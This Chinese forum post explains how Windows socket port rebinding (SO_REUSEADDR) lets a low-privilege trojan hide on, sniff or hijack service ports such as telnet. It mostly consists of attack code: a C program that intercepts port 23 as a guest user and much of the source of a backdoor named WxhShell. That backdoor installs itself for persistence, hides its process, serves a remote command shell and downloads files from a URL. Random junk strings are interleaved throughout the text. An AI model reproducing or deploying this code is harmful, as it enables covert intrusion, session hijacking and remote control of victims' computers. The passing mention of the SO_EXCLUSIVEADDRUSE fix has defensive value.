社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9997阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BK$cN>J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); " pg5w  
6pJFrWe{  
  saddr.sin_family = AF_INET; }W2FF  
;Gc,-BDFw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /g/]Q^  
kq| r6uE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S2y_5XJ<D  
=VC"X?N  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,7HlYPec  
Pz\4#E]  
  这意味着什么?意味着可以进行如下的攻击: (G1KMy  
8jBrD1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @:,B /B;  
f.yvKi.Cm  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k^VL{z:EWB  
,> Ya%;h2k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zR@4Z>6   
azhilUD8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \#50; 8VJ  
~F [V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %C[#:>'+  
mafnkQU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z "mqH  
6!39t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YR'dl_  
Wi U-syNh  
  #include e1<9:h+  
  #include =EJ8J;y_f  
  #include |WkWZZ^  
  #include    V;pR w`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1tZ7%0R\g]  
  int main() .-Z=Aa>  
  { ZVX1@p  
  WORD wVersionRequested; u0Q 6 +U  
  DWORD ret; b=L4A,w~a  
  WSADATA wsaData; %I^schE*  
  BOOL val; ;*c8,I;  
  SOCKADDR_IN saddr; "?*B2*|}`  
  SOCKADDR_IN scaddr; KPi_<LuK  
  int err; ?4`f@=}'K  
  SOCKET s; ;B^ 9sr  
  SOCKET sc; nyoLrTs{  
  int caddsize; at|.Q*&a#  
  HANDLE mt; } yb"/jp  
  DWORD tid;   tZXq<k9  
  wVersionRequested = MAKEWORD( 2, 2 ); V7 OhOLK8  
  err = WSAStartup( wVersionRequested, &wsaData ); \sn wR  
  if ( err != 0 ) { +X%pUe  
  printf("error!WSAStartup failed!\n");  l;;,[xhq  
  return -1; UuKW`(?^  
  } QBYY1)6S,  
  saddr.sin_family = AF_INET; 1La?x'{2MP  
   V3S"LJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uQhI)  
c)j60y   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1b=,lm  
  saddr.sin_port = htons(23); qdPmTaak  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W-RqooEv  
  { i}L*PCP  
  printf("error!socket failed!\n"); Vg^yjP{sv  
  return -1; A3Xfu$[u  
  } <B Vx%  
  val = TRUE; :R'={0Jg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n-he|u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t5aX9WIW  
  { BCmKzv  
  printf("error!setsockopt failed!\n"); NwcRH9};i  
  return -1; &W8fEQwa  
  } |4C5;"Pc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <YM!K8hu$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P<CPA7K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %jo,Gv  
3,"G!0 y.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) swz)gh-*  
  { 5E#8F  
  ret=GetLastError(); Dn l|B\  
  printf("error!bind failed!\n"); }~v&  
  return -1; tjLG$M1z`  
  } !ra,HkU'  
  listen(s,2); z8dBfA<z  
  while(1) 'F%h]4|1  
  { ;S9 z@`a.  
  caddsize = sizeof(scaddr); X Z=%XB:?  
  //接受连接请求 M?00n< vM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n v ?u  
  if(sc!=INVALID_SOCKET) =TGa\iclpB  
  { _<6E>"*m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `l'Ine 11  
  if(mt==NULL) *x/H   
  { b:PzqMh{G  
  printf("Thread Creat Failed!\n"); B un^EJ)  
  break; Xf;_r+;  
  } mwMcAUD]2  
  } ,`ba?O?*G  
  CloseHandle(mt); yR% l[/ X  
  } 6T5\zInd  
  closesocket(s); )GfL?'Z  
  WSACleanup(); lMmP]{.>$  
  return 0; 7/HX!y{WP  
  }   ~bq w!rz  
  DWORD WINAPI ClientThread(LPVOID lpParam) ro+8d  
  { N(kSE^skOa  
  SOCKET ss = (SOCKET)lpParam; ?X+PNw|pf  
  SOCKET sc; Y%!k'\n[2  
  unsigned char buf[4096]; {wl7&25  
  SOCKADDR_IN saddr; -bgj<4R$p  
  long num; cpm *m"Nk  
  DWORD val; y5j ;Daq  
  DWORD ret; L@S1C=-/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R].xT-1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @d n& M9Z  
  saddr.sin_family = AF_INET; ><C9PS@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;> %wf3e  
  saddr.sin_port = htons(23); gSHN,8. `  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RNopx3  
  { ' ,1[rWyc  
  printf("error!socket failed!\n"); \('WS[$2  
  return -1; ?^ R"a##  
  } /&E]qc*-p  
  val = 100; ZkBWVZb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5 0dx[v8  
  { y[/:?O}g4  
  ret = GetLastError(); WQ9VcCY  
  return -1; h %5keiA  
  } 5S ) N&%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XaaR>HljJ  
  { Rw<O%i5/d  
  ret = GetLastError(); `NQ;|!  
  return -1; ,E8g~ZUY9  
  } mMT\"bb'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ba)hWtenH  
  { tqpSir  
  printf("error!socket connect failed!\n"); u p]>UX8  
  closesocket(sc); /A-VT  
  closesocket(ss); hGI5^!Cq  
  return -1; k_nQmU>  
  } \'&,9lP  
  while(1) R*H-QH/H1  
  { bduHYs+rq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hb(H-`16  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ex.^V sf_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K."W/A!  
  num = recv(ss,buf,4096,0); |9[)-C~N7  
  if(num>0) 4j(*%da  
  send(sc,buf,num,0); wauM|/KG  
  else if(num==0) D|2lBU  
  break; "$3~):o  
  num = recv(sc,buf,4096,0); B}@CtVWFz  
  if(num>0) {rzQ[_)EC  
  send(ss,buf,num,0); x=N0H  
  else if(num==0) TpYdIt9#>  
  break; Knp}88DR^j  
  } 59(kk;  
  closesocket(ss); QS@eqN  
  closesocket(sc); 4 g8t  
  return 0 ; /PpZ6ne~ [  
  } 6ZQ$5PY  
D77$aCt  
P )[QC  
========================================================== ^vZu[ m  
(hIe!"s *  
下边附上一个代码,,WXhSHELL ;+n25_9  
S-79uo  
========================================================== (\4YBaGd  
\*#E4`Y  
#include "stdafx.h" &-KQ m20n  
{~V_6wY g  
#include <stdio.h> 9 1ec^g  
#include <string.h> y(j vl|z[  
#include <windows.h> i x_a  
#include <winsock2.h> +$R%Vbd  
#include <winsvc.h> _@Y17L.  
#include <urlmon.h> LbnF8tj}h  
0{u#{_  
#pragma comment (lib, "Ws2_32.lib") R4XcWx*pQ  
#pragma comment (lib, "urlmon.lib") xw3A|Aj?r  
XeozRfk%J|  
#define MAX_USER   100 // 最大客户端连接数 XeXK~  
#define BUF_SOCK   200 // sock buffer iJk/fvi  
#define KEY_BUFF   255 // 输入 buffer ! 6_tdZ  
{/XU[rn  
#define REBOOT     0   // 重启 8u Z4[  
#define SHUTDOWN   1   // 关机 C7!=LiK}  
;_1 >nXh  
#define DEF_PORT   5000 // 监听端口 F5<GGEQb  
; zfBe%Uf  
#define REG_LEN     16   // 注册表键长度 aIE\B4w  
#define SVC_LEN     80   // NT服务名长度 eD N%p  
{\kDu#18Ld  
// 从dll定义API xKoNo^FF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ot3+<{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Of{'A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L/:u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7P D D  
^j'vM\^`ml  
// wxhshell配置信息 tUs{/Je  
struct WSCFG { [~ |e:  
  int ws_port;         // 监听端口 @TnAO8Q>XD  
  char ws_passstr[REG_LEN]; // 口令 :yAvo4 )  
  int ws_autoins;       // 安装标记, 1=yes 0=no mGUl/.;yp-  
  char ws_regname[REG_LEN]; // 注册表键名 #J4,mFMr  
  char ws_svcname[REG_LEN]; // 服务名 "#`c\JuR ]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C5oIl_t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :w4I+* ]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z|G 39  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .w)T2(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Jm}zit:o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @_Ly^' "  
Ox f,2r  
}; h_h6@/1l  
0"M0tA#  
// default Wxhshell configuration Uf-`g>  
struct WSCFG wscfg={DEF_PORT, DYCXzFAa  
    "xuhuanlingzhe", (9D,Ukw  
    1, 3yIC@>&y(8  
    "Wxhshell", ,6a }l;lv  
    "Wxhshell", {%z}CTf#  
            "WxhShell Service", hH@pA:`s  
    "Wrsky Windows CmdShell Service", bq` 0$c%hN  
    "Please Input Your Password: ", h>K%Ox R  
  1, .e2 K\o  
  "http://www.wrsky.com/wxhshell.exe", Jx= v6==7  
  "Wxhshell.exe" h2edA#bub  
    }; o8S)8_3  
610hw376B  
// 消息定义模块 oNBYJ]t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g/m%A2M&aH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ( j~trpe,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]6EXaf#  
char *msg_ws_ext="\n\rExit."; 4kQL\Ld#E%  
char *msg_ws_end="\n\rQuit."; >a1 ovKF  
char *msg_ws_boot="\n\rReboot..."; AT,?dxP J  
char *msg_ws_poff="\n\rShutdown..."; c95{Xy  
char *msg_ws_down="\n\rSave to "; |CjE }5Op>  
 W,)qE^+  
char *msg_ws_err="\n\rErr!"; dKTUW<C  
char *msg_ws_ok="\n\rOK!"; <ba+7CK] w  
;u: }rA)  
char ExeFile[MAX_PATH]; iG;GAw|E  
int nUser = 0; Xa32p_|5~  
HANDLE handles[MAX_USER]; j!<RY>u  
int OsIsNt; ^aO\WKkA  
IK^jzx   
SERVICE_STATUS       serviceStatus; 18U CZ;)>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O}_Z"y  
FzGla})  
// 函数声明 nLjo3yvV..  
int Install(void); h|Uy!?l  
int Uninstall(void); dq ~=P>  
int DownloadFile(char *sURL, SOCKET wsh); u.sn"G-c  
int Boot(int flag); ZX!u\O|w  
void HideProc(void); />9?/&N6"  
int GetOsVer(void); &O.S ;b*+  
int Wxhshell(SOCKET wsl); v><uHjP  
void TalkWithClient(void *cs); U0W- X9>y  
int CmdShell(SOCKET sock); *QpKeI  
int StartFromService(void); gRdg3qvU  
int StartWxhshell(LPSTR lpCmdLine); 5zH?1Z~*  
O~AOZ^a:2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ju7nvxC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?#917M  
;1 02ddRV  
// 数据结构和表定义 y(RK|r  
SERVICE_TABLE_ENTRY DispatchTable[] = 3#H x^H  
{ @rVBL<!o,  
{wscfg.ws_svcname, NTServiceMain}, i;$'haK<  
{NULL, NULL} pJE317 p'  
}; U ]6 Hml;l  
yegTKoY  
// 自我安装 jE{2rw$ZJ?  
int Install(void) l`R/WC  
{ K-nf@o+  
  char svExeFile[MAX_PATH]; nP>*0Fq  
  HKEY key; Y@Kp'+t(!  
  strcpy(svExeFile,ExeFile); 8y{<M"v+/  
ctL@&~*nY  
// 如果是win9x系统,修改注册表设为自启动 }]H_|V*f  
if(!OsIsNt) { <j.bG 7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oA&V,r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Hn3  
  RegCloseKey(key); }GCt)i_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Oj*3'?<7=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &` u<KKF6  
  RegCloseKey(key); ToN$x^M w  
  return 0; \Podyh/;?  
    } ^.J F?2T/  
  } b!ZXQn3X<  
} ODH@ /  
else { }I'g@Pw9[  
(SLAq$gvd  
// 如果是NT以上系统,安装为系统服务 1v4(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e/m ,PE  
if (schSCManager!=0) h+x"?^   
{ \S@;>A<J  
  SC_HANDLE schService = CreateService '%`W y@  
  ( D/Y.'P:j  
  schSCManager, WKQVT I&A.  
  wscfg.ws_svcname, #<bt}Tht  
  wscfg.ws_svcdisp, @hiwq 7[j  
  SERVICE_ALL_ACCESS, u9FXZK7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qF(F<$B  
  SERVICE_AUTO_START, )BY\c7SG  
  SERVICE_ERROR_NORMAL, {7)D/WY5  
  svExeFile, Ogf myYMtc  
  NULL, Fr)G h>  
  NULL, +QIM~tt)  
  NULL, |wZ8O}O{E  
  NULL, F}A@H<?  
  NULL O=#FpPHrdw  
  ); PQsqi;=)  
  if (schService!=0) J8$G-~MeJ  
  { vvLm9Tw  
  CloseServiceHandle(schService); "| <\\HR  
  CloseServiceHandle(schSCManager); rs3Uk.Z^ '  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5[M?O4mi  
  strcat(svExeFile,wscfg.ws_svcname); Ak$gh b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V$+xJ  m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z.:{   
  RegCloseKey(key); 5o5y3ibQ  
  return 0; /GNRu  
    } $LZf&q:\]*  
  } :xfD>K  
  CloseServiceHandle(schSCManager); pAYH"Q6~)I  
} E {d Mdz  
} tqIz$84G  
s&p*.I]@>  
return 1; 0}c *u) ,  
} 2i4FIS|z0  
Xz0jjO,  
// 自我卸载 A:1O:LB=!  
int Uninstall(void) ky#d`   
{ d^IOB|6Q  
  HKEY key; N G1]!Vz5  
dfe 9)m>  
if(!OsIsNt) { AU}P`fT!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ay!=Yk ^~  
  RegDeleteValue(key,wscfg.ws_regname); d+%1q  
  RegCloseKey(key); Uq&ne 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @YP\!#"8  
  RegDeleteValue(key,wscfg.ws_regname); f8)D|  
  RegCloseKey(key); r:y *l4  
  return 0; h%(dT/jPL)  
  } {>G\3|^D  
} phUno2fH  
} 0yXUVKq3  
else { }.7!@!q.  
0%}$@H5i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _n2PoE:5@P  
if (schSCManager!=0) !J[3U   
{ cU5x8[2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8<k0j&~J  
  if (schService!=0) J1Mm,LTO  
  { jcN84AaRFI  
  if(DeleteService(schService)!=0) { @?{n`K7{`  
  CloseServiceHandle(schService); 6z"fBF  
  CloseServiceHandle(schSCManager); l2=.;7 IV  
  return 0; fSl+;|K n  
  } >\8Bu#&s4  
  CloseServiceHandle(schService); *8U+2zgfC  
  } b/'fC%o,  
  CloseServiceHandle(schSCManager); t/_w}  
} -c%GlpZw  
} 52tIe|KwL  
f!*b8ND^R  
return 1; 5SK{^hw  
} r~u/M0h `  
BXaA#} ;e  
// 从指定url下载文件 QR'"Zw&q5/  
int DownloadFile(char *sURL, SOCKET wsh) hyL3fkMJ,  
{ n w @cAv  
  HRESULT hr; e6k}-<W*q  
char seps[]= "/"; |t|+pBB  
char *token; z['>`Kt  
char *file; *4r 1g+0  
char myURL[MAX_PATH]; ];^A8?  
char myFILE[MAX_PATH]; RM-| ?%  
NyJU?^f&v  
strcpy(myURL,sURL); Q}W6?XDu  
  token=strtok(myURL,seps); 09eS&J<R  
  while(token!=NULL) lKI1bs]i  
  { =XJ SE+ 7  
    file=token; Q0!gTV  
  token=strtok(NULL,seps); J:'cj5@  
  } 75@){ :  
!~m)_Q5?~  
GetCurrentDirectory(MAX_PATH,myFILE); tk<dp7y7  
strcat(myFILE, "\\"); ]OM|Oo  
strcat(myFILE, file); 06pLa3oi  
  send(wsh,myFILE,strlen(myFILE),0); G|Ic6Sd  
send(wsh,"...",3,0); c&3 ]%urL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P`5@$1CJ  
  if(hr==S_OK) \)DP(wC  
return 0; u1ggLH!U  
else  e1S |&W8  
return 1; vX)JJ|g  
z* YkD"]B  
} . 3=WE@M  
y^pk)`y8  
// 系统电源模块 RhnSQe  
int Boot(int flag) -$?xR](f  
{ $f*N  
  HANDLE hToken; ln'7kg  
  TOKEN_PRIVILEGES tkp;  ]P(:z  
3) zanoYHi  
  if(OsIsNt) { ^u:7U4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %(Nu"3|$K=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ._~_OVU  
    tkp.PrivilegeCount = 1; (X,Ua+{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; za1MSR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *|Q'?ty(x  
if(flag==REBOOT) { e4yd n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .rD@Q{e50  
  return 0; jB:$+k|~.  
} *.r i8  
else { X7?p$!M6;B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9loWh5_1Z  
  return 0; |zKe*H/  
} {%9)l,  
  } \ZigG{  
  else { S WVeUL#5  
if(flag==REBOOT) { =2\k Jv3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nY'0*:'u  
  return 0; tjBs>w  
} rC14X}X6  
else { \$/)o1SG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x:88E78  
  return 0; yN5g]U. Q  
} 4cRF3$a md  
} $}jp=?,t  
7$<.I#x  
return 1; wXMKQ)$(  
} Q'~kWmLf  
>t)vQ&:;u  
// win9x进程隐藏模块 U>IllNd  
void HideProc(void) VtUe$ft  
{ Y _m4:9p  
P \tP0+at  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }\:3}'S.$  
  if ( hKernel != NULL ) $]%;u: Sa  
  { /WRS6n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2BXpk^d5y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z~L''X7g  
    FreeLibrary(hKernel); w>p0ldi  
  } @v ss:'l  
\6-x~%xK  
return; lTv I;zy  
} zIi|z}WJ  
TUIj-HSe  
// 获取操作系统版本 bTHKMaGWC  
int GetOsVer(void) 3xxQL,FV  
{ yMq&9R9F  
  OSVERSIONINFO winfo; UQ:H3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .mn`/4  
  GetVersionEx(&winfo); NKvBNf|D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dFS>uIT7X  
  return 1; +(x^5~QX  
  else O%H_._#N`  
  return 0; cTCo~Pk4  
} MIo<sJuv  
k*(c8/<.d  
// 客户端句柄模块 u pg?  
int Wxhshell(SOCKET wsl)  U":hJ*F)  
{ vp? 87h  
  SOCKET wsh; t 9&xk?%{  
  struct sockaddr_in client; ((Ak/qz  
  DWORD myID; ;&q}G1  
NeAkJG=<  
  while(nUser<MAX_USER) svCD&~|K#  
{ 9h> nP8  
  int nSize=sizeof(client); XAW$"^p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >G$8\&]j  
  if(wsh==INVALID_SOCKET) return 1; Bw;sg;  
(MY#;v\AYE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n1m[7s.[&  
if(handles[nUser]==0) FB9PIsFS  
  closesocket(wsh); /vll*}}  
else z6ISJb  
  nUser++; DZ92;m  
  } &)JQ6J_|\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =.(yOUI  
_ui03veA1  
  return 0; 5XySF #  
} `E+)e?z  
Ig}G"GR  
// 关闭 socket lT#&\JQ  
void CloseIt(SOCKET wsh) k"\%x =#  
{ T$T:~8tK3  
closesocket(wsh); k!3X4;F!_  
nUser--; :K>v F`SM  
ExitThread(0); ( NWT/yBx  
} MGze IrV  
usH9dys,  
// 客户端请求句柄 I_6NY,dF  
void TalkWithClient(void *cs) ,yus44w[  
{ M.$Li#So,  
fOJ 0#^Z  
  SOCKET wsh=(SOCKET)cs; zs e<b/G1G  
  char pwd[SVC_LEN]; >J[Bf9)>  
  char cmd[KEY_BUFF]; |I-;CoAg  
char chr[1]; 8@]*X,umc  
int i,j; W^npzgDCo  
n|2`y?  
  while (nUser < MAX_USER) { B4yU}v  
*GleeJWz  
if(wscfg.ws_passstr) { 74Xk^  8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PtCO';9[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NAjY,)>'K  
  //ZeroMemory(pwd,KEY_BUFF); G6(k wv4  
      i=0; Rt:k4Q   
  while(i<SVC_LEN) { Yv k Qh{  
[zv>Wlf,%  
  // 设置超时 !l|v O(  
  fd_set FdRead; 2_M+akqy^  
  struct timeval TimeOut; 4 AZ~<e\  
  FD_ZERO(&FdRead); T Po%zZo  
  FD_SET(wsh,&FdRead); z%$ E6Im  
  TimeOut.tv_sec=8; oFM\L^Y?$$  
  TimeOut.tv_usec=0; oNQ;9&Z,^2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wgfA\7Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .] mYpz  
9qN4f8R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oJa6)+b(3  
  pwd=chr[0]; YL-/z4g  
  if(chr[0]==0xd || chr[0]==0xa) { Z?X0:WK  
  pwd=0; Mx{VN P  
  break; w}No ^.I*4  
  } u$ C@0d  
  i++; =sy>_   
    } ?PVJeFH  
 N1,=5P$  
  // 如果是非法用户,关闭 socket #=F"PhiX`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RapHE; <  
} :W]?6=  
!`=ms1%U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e9e%8hL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KiW4>@tY  
e~R; 2bk  
while(1) { ASmMj;>UM  
<"A|Xv'Q  
  ZeroMemory(cmd,KEY_BUFF); ^?PU:eS  
Z0&^U#]  
      // 自动支持客户端 telnet标准   S^q)DuF5!  
  j=0; N<lejZ}!q  
  while(j<KEY_BUFF) { w1HE^ /  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rt">xVl  
  cmd[j]=chr[0]; 7pMl:\  
  if(chr[0]==0xa || chr[0]==0xd) { h/~:}Bof  
  cmd[j]=0; r>73IpJI  
  break; #p& &w1  
  } !Ic;;<  
  j++; ?_mcg8A@@*  
    } (ii6w d< *  
x ,$N!X  
  // 下载文件 J-*&&  
  if(strstr(cmd,"http://")) { Gt#Jr!N~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #vrxhMo  
  if(DownloadFile(cmd,wsh)) qu]ch&"?U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b`"E(S/  
  else Ci%u =%(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o?n lnoe  
  } M|!^ #!a(  
  else { kk]f*[Zi5  
gXr"],OM;  
    switch(cmd[0]) { @3`:aWda  
  ~RcI+jR)  
  // 帮助 5/x"!Jk  
  case '?': { Rs+rlJq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d"3S[_U  
    break; tHNvb\MR$  
  } 50!/%  
  // 安装 w-2&6o<n-  
  case 'i': { QZy+`  
    if(Install()) |GuIp8~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RmS|X"zc  
    else Z(Da?6#1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x._IP,vRx^  
    break; sYV7t*l  
    } []HMUL]"  
  // 卸载 5.gM]si  
  case 'r': { (<sZ8n=AD  
    if(Uninstall()) TymE(,1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hUirvDvX  
    else q6A!xQs<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9pPb]v,6  
    break; p- 5)J&  
    } _;mN1Te  
  // 显示 wxhshell 所在路径 O%)@> 5#S  
  case 'p': { RjS;Ck@;  
    char svExeFile[MAX_PATH]; )"?6EsSF  
    strcpy(svExeFile,"\n\r"); fDc>E+,  
      strcat(svExeFile,ExeFile); [8*Ovd  
        send(wsh,svExeFile,strlen(svExeFile),0); cBf9-k  
    break; ;t!n%SnK9!  
    }  w0QN5?  
  // 重启 e&[gde(  
  case 'b': { qW]gp7jK4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  >)ZX  
    if(Boot(REBOOT)) Enee\!@v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~;St,Fw<<  
